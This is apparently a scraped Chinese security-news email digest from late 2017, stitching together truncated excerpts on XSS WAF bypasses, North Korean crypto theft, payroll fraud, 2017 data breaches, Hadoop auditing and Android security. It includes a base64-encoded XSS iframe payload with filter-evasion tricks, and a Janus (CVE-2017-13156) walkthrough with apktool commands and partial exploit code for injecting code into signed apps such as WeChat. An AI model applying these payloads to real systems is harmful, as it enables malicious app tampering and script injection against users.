所谓百分再百分,就是把%给url编码成%25 如果在后台对参数有再次进行urldecode,或者输出时有urldecode那么就可以绕过WAF,所以各位在造轮子,千万小心画蛇添足

Base64编码绕过

有时候真的这么绕WAF不拦截你的<>”的时候,拦截script、还有触发事件如onxxxx的时候,不妨试试Base64编码来绕过

譬如<iframe src=”data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ+”>

把关键的XSS语句转化成base64来绕

HTML实体编码的利用绕过waf

记得以前一个案例,我用PHP按照记忆还原了一下 大概代码是这样的

<a href=” <?=$_GET['localurl']; ?>” ></a>   不过对输入的参数过滤的很严格 看到有on script “等等敏感词语就直接exit了 所以什么构造alealertrt(“X”)利用过滤什么都是无效的。这里就可以利用实体编码。实体编码明明是一种防止XSS的办法吗为什么会被拿来绕过WAF呢,很多朋友可能就有所疑惑。实体编码一开始是为了避免譬如在你的双引号中要输入数据中包括双引号导致浏览器把你输入的引号当作上一个引号的姐妹标签而异常闭合而提出的,当时依然可以构造XSS 如下语句是可以在各大浏览器执行的 

<a 阅读更多内容

2017年12月28日星期四

美女、比特币 朝鲜的新战线:网络抢劫

本邮件内容由第三方提供,如果您不想继续收到该邮件,可 点此退订 。
美女、比特币 朝鲜的新战线:网络抢劫  阅读原文»

面对核武器和弹道导弹项目招致的制裁,陷入资金困境的朝鲜,盯上了比特币这种新形式的硬通货,派出了他们训练有素的黑客部队。

朝鲜的网络战能力第一次引起人们关注,是2014年11月的索尼影业被黑事件――朝鲜报复索尼影业的讽刺性影片《刺杀金正恩》。

但朝鲜网络战迅速从政治性目标扩展到了经济目标,比如孟加拉央行和全世界的比特币交易所。今年早些时候造成极大破坏的WannaCry勒索软件也被认为是朝鲜所为。

12月19号,韩国一家加密货币交易所遭遇黑客攻击,在损失了17%的资产。而这是该交易所今年遭受的第二次攻击,第一次攻击背后的黑客,被认为是朝鲜。

多家韩国媒体引用韩情报机构消息,称朝鲜黑客在Facebook上伪装美女,通过在线聊天接近数字交易所员工,最终发送包含恶意代码的文件,实施攻击。

消息很诱人,图片很吸引眼球,但试图诱骗韩国比特币高管的那个美女,实际上可能是朝鲜黑客伪装的。

据称,假冒求职者向交易所高管发送简历邮件――包含盗取个人信息及交易数据的恶意软件,也是朝鲜黑客的惯用招数。

韩国网络安全公司 EST Security 总裁文钟铉称,最近几年,朝鲜已经开始了针对韩国政府和军方的在线美人计战术。

文钟铉表示:"他们开设Facebook账户,自称在美国大学学习或在研究智库工作,与目标保持几个月的网上友谊,但最终目的是暗中损害目标,攫取利益。"

犯罪集团

崔西蒙,韩国网络安全公司Hauri总裁。他收集积累了大量朝鲜黑客活动数据,2016年来一直在警告来自朝鲜的潜在勒索软件攻击。

据称美国已经对朝鲜展开了网络攻击。

但崔西蒙对法新社(AFP)表示,面对更多制裁,朝鲜的攻击活动正从对"敌对国家"的攻击,升级为隐秘的赚钱机器。

自2012年起,朝鲜黑客就表现出了对比特币的兴趣,只要该加密货币升值,攻击随之激增,而比特币价值今年飙升了20倍。

美国网络安全公司火眼指出,监管的缺失和很多国家在反洗钱控制上的放任,让数字货币成为了朝鲜热衷的策略。

9月的报告中,火眼称,"像犯罪集团一样运营的流氓政体,已经盯上了加密货币。"

报告显示,5月到7月间,朝鲜对韩国加密货币交易所发起了3次黑客攻击,试图攫取资金支持朝鲜政府,或充盈该国精英阶层的个人金库。

10月,美国安全公司Secureworks报称,疑为朝鲜黑客组织的Lazarus团伙,以充满诱惑力的虚假招聘信息,对比特币行业人士发起了恶意网络钓鱼攻击。

难以预测

朝鲜在线金融抢劫列表中,对数字货币的黑客攻击,只是其中最新的一种方式。

2016年孟加拉央行8100万美元网络大劫案,今年10月台湾远东国际银行6000万美元被盗案,均被怀疑是朝鲜黑客所为。

尽管朝鲜愤怒地否认了所有指控,认为这些指控是对其政府的"诽谤",数字指纹却是无可抵赖的证据。

老牌网络安全公司赛门铁克,将孟加拉央行网络劫案关联到了朝鲜黑客身上。而英国防务公司BAE系统,发现台湾远东银行资金被盗案有Lazarus的印记。

首尔韩国大学网络安全教授李中英表示,此类行动的收益,通过菲律宾和澳门的赌场或中国的货币兑换来洗钱,基本上无法追踪。

5月爆发的WannaCry勒索软件攻击,感染了全球150个国家的30万台计算机,机主文件遭加密,密钥赎金高达数百美元。

专家称,朝鲜从在校生中挑选年轻黑客人才,送入金策工业技术大学或金日成军事大学深造,如今其黑客精英数量已超7000人。

此前曾认为,朝鲜黑客大部分在其国内或邻居中国境内活动,但网络安全公司 Recorded Future 的分析师注意到,远至肯尼亚和莫桑比克之类国家,都出现了朝鲜黑客的身影或数字踪迹。

火眼CEO凯文・曼迪亚,将朝鲜与伊朗、俄罗斯和中国,列为四大网络安全威胁国――源自这4个国家的网络攻击,占该公司处理网络安全事件的90%。

他说:"朝鲜黑客很有意思,他们的行为难以预测。"

相关阅读

全球网络空间安全最大的威胁:朝鲜

朝鲜间谍机构被指主使孟加拉央行网络劫案和索尼影业黑客事件

朝鲜黑客盗取韩国数百机密军事文档 涉及美国盟友详细战时行动计划

 


黑客技术官网地址:http://www.hackdig.com/

专门攻击工资支付系统的网络犯罪  阅读原文»

工资支付系统因其广泛性、以及普遍较弱的安全性,成为网络犯罪首要目标。取得进入转账系统的权限后,网络罪犯可以将款项转移至自己的银行账户。

这一切并不那么难。通过钓鱼攻击,获得具体员工的邮箱,黑客就可以进入公司的工资支付系统。举例来说,一名黑客取得财务人员邮箱权限之后,可以发起更改密码以登录转账系统,取得权限后,罪犯可以变更押金设置,从而转移至自己的账户中。

网络罪犯的选择有很多,出纳、老板、员工都可以是攻击目标。举例来说,美国的 Anne Arundel County 公立学校,使用被黑客盗取的用户信息,给36名员工支付支票,均被转移至其他账户,造成5.7万美元的损失。

一个相似的例子是亚特兰大公立学校系统在2017年9月发生的事,网络犯罪者获取27名用户信用信息转走了56459美元。

另一种变化是,网络犯罪者在ChelanCounty医院第一转账系统中增加了100个收款人账户,在一系列转账中,窃取大约100万美元资金。

出纳人员是更为复杂有挑战性的攻击对象,但吸引力倍增,且经受着多年的攻击。在一个复杂精妙的攻击中,黑客取得RBS全球支付系统权限,用一个位于亚特兰大出纳人员的借记卡,通过系统盗走900万美元。

当加密方式遭泄露,黑客通过刷取账户和ATM取款最高限额的方式,使用44张借记卡和取款密码形成现金网络,这900万美元是在世界范围内280多个城市的2100多个ATM机上取出来的。城市分布在美国、俄罗斯、乌克兰、爱沙尼亚、意大利、香港、日本和加拿大。这900万元的损失发生在2008年11月8日的12个小时之内。

相关阅读

七个最容易被网络钓鱼盯上的部门

美女安全研究员5分钟钻个小洞就黑了ATM

 


黑客技术官网地址:http://www.hackdig.com/

阅读更多内容

2017年12月25日星期一

2017年网络安全大事记

本邮件内容由第三方提供,如果您不想继续收到该邮件,可 点此退订 。
2017年网络安全大事记  阅读原文»

2017年,数据泄露、网络攻击、漏洞发现、会议活动、投资并购等各个层面呈爆发态势,无论在数量还是影响面上,均超过以往任何年度。

一、网络安全事件篇

1. 信息泄露创历史记录

2017年仅上半年泄露或被盗的数据(19亿条),就已经超过了2016年全年被盗数据总量,全年预计将超过50亿条。其中,仅雅虎一家就达到了30亿条。

2017年规模较大的信息泄露事件

1月:

暗网市场知名供应商双旗(DoubleFlag)抛售多家中国互联网巨头数据,数据条数达到10亿以上。

2月:

美国媒体报道,一名前美国国家安全局承包商雇员窃取了超过50TB的高度敏感数据。

4月:

国内某知名视频网站1亿账户信息在名为CosmicDark的网络黑市出售。

5月:

印度互联网与社会中心警告,有1.35亿条Aadhaar号码及1亿条银行帐户号码可能外泄。

6月:

美国共和党承包商放在 AWS S3 云存储的1TB数据(包含1.98亿选民信息)被曝任何人均可访问;

Shodan搜索引擎发现近4,500台Hadoop分布式文件系统服务器,约5.12PB(5,120TB)数据暴露在公网。

8月:

全球知名有线电视公司HBO发生大规模数据泄露事件,至少1.5TB的数据被黑客掌握,包括未发行的剧集到财报等其他敏感文档。

9月:

美国最大征信机构之一Equifax,声明由于网站漏洞导致1.43亿消费者信息泄露。

10月:

雅虎在提交给美国金融监管机构的文件中,承认30亿账户全部泄露。

11月:

马来西亚12家电信公司的4620万手机账户信息在网上售卖,马来西亚的人口数量为3120万。

12月:

美国陆军及NSA情报平台约100G文件暴露在 AWS S3 存储服务器上,包括高度敏感、机密性的国家安全数据;

安全研究人员发现一个包含1.23亿户美国家庭信息的大型数据库暴露在 AWS S3 上,包括地址、电话、年龄、性别、财务等248个数据段。

2017年的信息泄露事件呈现以下特点:

√ 随着云计算、大数据和物联网的普及,信息泄露事件呈现高速增长趋势。信息泄露涉及行业广泛,但重点集中在互联网、政府机构及金融行业。仅AWS一家云服务商,今年就爆发了数起较大规模的用户数据泄露事件,而物联网搜索引擎Shodan不断公布的因运维配置不当导致的数据库暴露问题近乎常态。

√ 数据泄露导致企业严重损失,高管担责。今年瑞典的内政部长和基建部长,因数据泄露事件而引咎辞职。而Equifax数据泄露事件更是令CISO、CIO和CEO接连下台,股价暴跌30%,一笔720万美元的合约也被封停。我国的《网络安全法》今年已经正式实施,确定了"防止网络数据泄露或者被窃取、篡改"是网络运营者的法定义务。

√ 内部威胁成信息泄露重要途径。包括内部员工的恶意或无意泄露,以及第三方供应商带来的风险。尤其是后者,近年来重大的信息泄露事件都与第三方供应商相关。如塔吉特的空调供应商,斯诺登是NSA承包商,今年导致瑞典两位部长下台的数据泄露事件也是因为承包商被入侵。在目前快速多变的商业环境中,动态供应链是必然趋势,但每家供应商都潜在着扩大了机构或企业的网络攻击面。由供应商引起的第三方风险,已经成为当今网络安全领域的一个普遍性问题。

2. 网络攻击无所不在

随着物联网设备的激增,网络攻击目标泛化,并成指数级增加。2017年初Fortinet的一份调查显示,针对物联网的攻击达到250多亿次。尤其是5月份爆发的WannaCry勒索软件,成为近几年来为数不多的全球性安全事件之一。

2017年较为特殊的网络攻击事件

5月:

全球爆发WannaCry勒索病毒攻击,至少150个国家、30万名用户中招,造成数十亿美元损失。

6月:

黑海约20艘轮船由于黑客攻击,GPS服务掉线;

基于Hadoop架构下医疗大数据安全的探究  阅读原文»

医疗信息化已正式进入"大数据时代",医疗大数据解决了海量数据的存储与检索问题,也催生了新的安全问题。如何更好地保护敏感信息及病人隐私,成为大数据时代医院管理面临的一大难题。但在利益的驱使下,医疗行业的数据安全已成为重灾区,各种数据泄漏事件时有发生。

2017年10月,一家医疗服务机构存储在亚马逊S3上的大约47GB医疗数据意外对公众开放,其中包含315363份PDF文件涉及15万病人的信息曝光。

2016年,深圳上万条产妇信息被爆泄露,产妇出院3小时被骗近万元。

2016年2月,某黑客入侵某部委医疗服务信息系统,该系统数据库内的部分公民个人信息被导出并贩卖。

2014年12月,海南卫生厅某系统漏洞导致数千万参保人员敏感信息泄露;江苏疾控中心某平台漏洞导致几千万敏感信息泄露。

大数据架构下的安全已成为医院信息化建设中亟待解决的问题!

Hadoop架构下现有的安全机制

Hadoop最初的设计目的并不是定位于数据库用来对数据进行存储管理,而是用于针对大量的非结构数据在分布式计算环境下对数据的计算,因此一开始并没有像传统的关系型数据库,设计相应的安全、加密、认证、授权等系列安全措施。

随着Hadoop在数据库领域的广泛应用,基于保障数据安全性的迫切需要,相应的安全机制相继被应用,目前大数据架构下的数据安全主要引入了KerBeros安全认证体系。

KerBeros安全认证体系广泛应用于分布式的client/server体系结构中,采用一个或多个KerBeros服务器提供鉴别服务。当客户端想要请求服务器上的资源时,首先由客户端向密钥分发中心请求一张身份证明,然后将身份证明发给服务器进行验证,在通过验证后,服务器就会为客户端提供所请求的资源。

▲KerBeros认证体系

KerBeros为通信的双方提供了很好的双向认证服务,也就是在客户与服务器之间构筑一道安全桥梁,要求用户每个向服务器提交的请求及其权限,都必须预先经过第三方认证中心服务器的认证后,才被允许执行。

KerBeros安全认证体系的不足

KerBeros很好的解决了通信双方的认证的问题,但KeBeros协议本身并不能完全解决网络安全性问题,例如:

(1) 主体必须保证他们的私钥安全,如果一个入侵者通过某种方式窃取主体私钥,他就能冒充身份;

(2) 对于用户的提权访问,没有有效的预防机制;

(3) 对于内部系统运维或开发人员的入侵行为无法提供有效的预防机制;

(4) 对于通过类似提供WEB公共服务入口的入侵,无有效的预防机制。

基于数据库审计的医疗大数据安全技术

为应对安全威胁,可采用基于深度报文解析和深度报文流检测机制的数据库审计解决方案,数据库审计系统是Hadoop自身安全机制之外一个良好的补充。

数据库审计系统可通过实时记录网络上的数据库活动,利用DPI/DFI技术将所有与Hadoop交互的报文深度解析重组,根据预先定义的规则进行细粒度审计,对数据库遭受的风险、违规操作行为进行不同级别的风险告警,同时对数据库的风险行为记录、分析和汇报,用来事后生成报告,帮助用户归根溯源,加强内部数据库安全建设,提高数据资产安全。

数据库审计系统能否对Hadoop架构下的数据安全起到有效防护,关键取决于报文解析重组能力的高低,如用户的越权操作。数据库审计系统在底层捕获到用户A访问了Hadoop对象B的报文,通过报文解析并与规则进行匹配,发现实际上并未分配给A访问B的权限,由此可以断定用户A访问对象B存在越权行为,但数据库自身安全机制因被攻破,无法做出预警,而数据库审计系统以独立的第三方系统运行,可直接从底层捕获报文分析,通过限定B的用户对象规则来预防越权访问,当发现有访问B的用户对象不在规则范围则立刻进行报警等相应措施。

数据库审计技术在Hadoop环境下已有多年的研究和实践,目前数据库审计系统已完好的支持Hadoop环境下的Hbase、Pig与Hive等工具的hdfs文件系统的访问,同时还支持通过hive-hwi、hive-view、HUE等UI工具通过浏览器等方式访问Hadoop,直接将报文解析还原成访问hdfs所用的类SQL语言进行细粒度审计,审计效果达到语义级。经实践证明,数据库审计系统已成为Hadoop大数据架构下行之可效的数据安全解决方案之一。


黑客技术官网地址:http://www.hackdig.com/

阅读更多内容

2017年12月23日星期六

随笔:“知所应知”,你所不知道的秘密

本邮件内容由第三方提供,如果您不想继续收到该邮件,可 点此退订 。
随笔:"知所应知",你所不知道的秘密  阅读原文»

作为IT安全人员,相信每一位都知道"知所必须"原则,结合"最小权限"的就是两个"最小化"原则,是很多IT安全人员在入门课上就学到的。怎样才是最小,相信也是IT安全人员一直孜孜追求的,很多人困惑于"如何将信息尽可能少的传递、权限尽可能小的授予,并能保证该岗位执行其正常工作。

首先,我们来看一个广为流传案例:"沃尔玛的任何一位员工,不论他/她的级别如何,如果获知其他地方卖的某样东西比沃尔玛便宜,他/她就有权把沃尔玛的同类商品进行降价"。这是一个授权,而这个权利对于很多企业来讲,非常"不小"。而沃尔玛的授权体系远不止如此,他们采取"店中店"的模式授权部门经理管理自己的业务,并认为信息共享的前提下,授权才会起到作用,因此沃尔玛的员工对采购价格、运输成本等数据(这些数据在很多企业被视为机密数据)都了如指掌的,难道沃尔玛不怕泄密事件的发生吗?

在此,笔者结合工作经验,来讲一些你所不知道的秘密。

应知的信息和应有的权限,是业务战略的结果。信息是为业务目标服务的,这一条是信息安全的基本定律,而很多信息安全人员在工作中却不知道或者忘记了这一基本定律,从信息安全去推导业务。从信息安全推导战略是一个错误的方向,信息安全需要结合行业特色、企业业务战略来制定,而不是采用僵化的所谓信息安全理论限制企业业务的发展。作为企业的管理层,更需要知道信息安全与业务战略之间的关系,并采取相应的风险管理策略。

信息的时效是信息安全的策略和手段需要重点关注的属性。例如:企业财务报告,尤其是上市公司的财务报告,被特定人群获知的时间点会影响其股票价格等因素,因此在某时点前是秘密,而在公开后必须保持持续可见性。

信息安全的属性是弹性的,与企业管理特色相关。例如:奖金信息,在某些企业是用来作为激励手段,只有公开了奖金信息,最少也应该分等级公开才能起到激励作用。随着互联网的发展,我们已经越来越处于公开的信息的社会,笔者相信公开信息会越来越多,这也是社会整体利益所推动的。

从技术实现来看,系统中同时支持权限递加或递减可以带来配置的灵活性。

最后,强调一下,信息安全对于不同企业,哪怕他们处在同一行业,都是千变万化的;对于同一企业而言,不同时点的信息安全手段也是不同的;企业文化对信息安全管理的影响不可小觑。


黑客技术官网地址:http://www.hackdig.com/

安卓上的核弹级漏洞 Janus  阅读原文»

12月的安卓漏洞公告中修复一个编号为CVE-2017-13156的漏洞,是做 安卓 加固产品 DexGuard的那家公司发现的,周五就有人在 github 上公开了 POC。仔细看了一下,这个漏洞可谓是一个核弹级的大杀器,称之为今年 安卓 漏洞的 No.1也不为过,危害非常大。

熟悉 安卓 安全的童鞋,可能知道曾经风靡一时的 MasterKey 漏洞,Jansu 漏洞与 MasterKey 比较相似,它可以让我们对任何 APP 进行修改,加入任何代码,然后编译成 DEX 插入到原来的 APK 文件里,神奇的是,利用这个漏洞修改后的 APK,安卓系统会认为它的签名和修改之前的正版应用的签名一样,可以作为之前那个正版应用的更新安装,直接将原来的正版应用覆盖掉。而且,它比MasterKey 用起来更简单,利用 POC 生成工具,一条命令就可以生成(我仿佛看到某些人已经漏出猥琐的笑容。。。)

下面我们就测试一下,首先准备好工具

1 Apktool 或者 APK 改之理,用于重新打包应用

https://ibotpeaches.github.io/Apktool/ 建议从官网下载,前两天刚爆出 Apktool 的漏洞

2 janus 漏洞利用脚本,只要其中的 janus.py 文件即可

https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156

3 目标 APK,比如微信、支付宝啊之类的

然后,开整!其实只要四步

# 第一步
# 使用 Apktool 对 APK 进行解包,如果失败,可以忽略资源,或者直接从 apk 解出 dex 文件,直接处理 dex 文件,其他的文件都是没用的
$ apktool d target.apk

# 第二步
# 对 smali 代码进行修改,什么?你不会改,去百度一下吧,或者写个 app,用 java 写你想要的代码,然后编译成 apk,然后反编译,找到那段代码,复制粘贴吧

# 第三步
# 对修改好的代码编译成 apk 或者 dex
$ apktool b target_dir

# 第四步
# 将第三步生成的 Apk 解压,得到其中的 classes.dex 文件,使用漏洞利用工具将其注入到目标 APK 中
$ python janus.py classes.dex target.apk out.apk

是不是很简单?只比把大象装进冰箱多一步而已。。。然后就可以将 生成的 APK 装入手机运行了。

然后,我们将生成的APK文件与原来的 DEX 文件比较一下,如下图

15130145697362.png

可以看到APK 文件的前面被插入一个 DEX 文件,也就是说一个 APK 文件的头部是一个 Dex 文件,而不是PK标志开始?!!看到这一点,我不由自主的惊呆了,一脸懵逼中。。

难打 安卓 不验证 APK 开始的 PK 标志吗?答案是确实不会验证!这就是 Janus 漏洞!!感兴趣的童鞋可以看一下 google 的修复方式,就是加了几行代码,验证APK文件开始处是否具有 PK 标志。。。

那么,漏洞利用工具工具是怎么将 DEX 附加到 APK 前面的呢,难道插入进去就可以了?显然不是,我们来看看 janus.py 的代码

  _, dex, apk, out_apk = sys.argv

with open(dex, 'rb') as f:
dex_data = bytearray(f.read())
dex_size = len(dex_data)

with open(apk, 'rb') as f:
apk_data = bytearray(f.read())

cd_end_addr = apk_data.rfind('x50x4bx05x06')
cd_start_addr = struct.unpack("<L", apk_data[cd_end_addr+16:cd_end_addr+20])[0]
apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack("<L", cd_start_addr+dex_size)

pos = cd_start_addr
while (pos < cd_end_addr):
offset = struct.unpack("<L", apk_data[pos+42:pos+46])[0]
apk_data[pos+42:

2017年12月21日星期四

如何使用 Burp 代理调试安卓应用中的 HTTP(S) 流量

本邮件内容由第三方提供,如果您不想继续收到该邮件,可 点此退订 。
如何使用 Burp 代理调试安卓应用中的 HTTP(S) 流量  阅读原文»

一切似乎都符合规范,但应用程序还是不能正常工作? 没关系,我们发现的Burp代理调试HTTP(S)流量的方法绝对是最佳之一!它既不需要源代码访问,也不需要开发技能。如果你曾经开发过使用HTTP(S)API的应用程序,你可能遇到过一些情况,比如服务器响应400 Bad ...
黑客技术官网地址:http://www.hackdig.com/

纵论网络安全热点话题 第三届互联网安全责任论坛召开  阅读原文»

12月20日,由公安部网络安全保卫局指导,中国互联网协会、中国网络空间安全协会和腾讯公司联合主办的互联网安全责任论坛在京召开。出席本届论坛的有中央网信办移动网络管理局局长方楠先生,以及来自国际、国内顶尖互联网企业和行业研究机构的代表、高校专家以及互联网安全从业者等众多嘉宾,一起分享2017年网络空间热度最高的安全话题,并探讨互联网新生态下的安全责任。

公安部网络安全保卫局副局长钟忠、中国互联网协会秘书长卢卫和中国网络空间安全协会副秘书长赵宏志发表致辞,总结了2017年网络安全发展的新态势,以及关注网络安全责任的重要性。

作为互联网行业的领军企业,腾讯一直以来利用自身技术优势,不断发挥着企业安全责任。腾讯公司信息安全执委会主任杨鹏在致辞中提到,"腾讯公司作为互联网行业发展的先行者,对于技术和安全的辩证关系一直有着深刻的领会,也通过不断加强研发能力、丰富科技伦理和道德乃至哲学思考来构建成体系的安全解决方案,不仅着眼当下,更放眼未来。"

在本届论坛上,腾讯公司发布了《2017年腾讯互联网安全生态与责任报告》。报告首次公布了腾讯的安全生态理念和安全生态架构,总结2017年腾讯安全生态举措,并公布了2018年腾讯重点关注的安全领域和治理展望。

以报告为基,论坛围绕未成年人网络权益保障、互联网视角下的文化与安全、网络黑产的挑战与应对、网络谣言治理这四个子话题展开了讨论。

未成年人网络权益保障是近年来最受关注的话题,尤其是在我们进入了数字时代后,保护未成年人尤为重要。联合国儿童基金会驻华办儿童保护官员苏文颖以《2017数字时代儿童报告》详解了数字生活与数字鸿沟,并深入探讨了互联网对儿童安全与身心健康的影响。

互联网文化安全也是一个新兴的深度话题。在本次论坛中,来自于企业与高校学者,从行业从业者与行业研究专家不同的角度发表新时代文化发展与安全、数字时代的影视文化产业发展与安全、泛娱乐背景下传统文化保护的新路径及互联网发展为文化安全注入新内涵四个主旨演讲。

随着互联网的快速发展,各大互联网平台面对DDoS攻击、黑客入侵等各类攻击日渐增多,打击治理网络黑色产业链是腾讯公司一直竭力去做的重点。近两年,网络直播已成为色情传播的新阵地,本次论坛中腾讯公司安全管理部高级总监毛晟斌也重点分析了当前涉黄黑产的新趋势与打击治理的难点。

在最后网络谣言治理的讨论环节中,腾讯公司联合中山大学传媒与设计学院大数据传播实验室联合发布《2017腾讯公司谣言治理报告》,国家食品药品监督管理总局新闻发言人、新闻宣传司司长兼新闻宣传中心主任颜江瑛分享了创新工作模式如何推动食品药品网络谣言治理,并分析食品药品谣言传播的五个典型特点。

论坛最后,由国家食品药品监督管理总局新闻发言人、新闻宣传司司长兼新闻宣传中心主任颜江瑛;腾讯信息安全执委会副主任、信息安全部总经理于海涛为2017腾讯年度荣誉辟谣合作伙伴颁奖。

当下,网络信息技术高速发展,网络安全环境愈加复杂,创造和谐、健康、可持续发展的网络环境,不仅需要技术创新,更有赖聚力共赢。互联网安全责任论坛旨在把互联网安全责任行动,更高效的渗透到企业互联网安全、青少年网络信息安全、网络黑产打击治理等领域,让网民可以在更加安全的环境下畅游网络空间。


黑客技术官网地址:http://www.hackdig.com/

阅读更多内容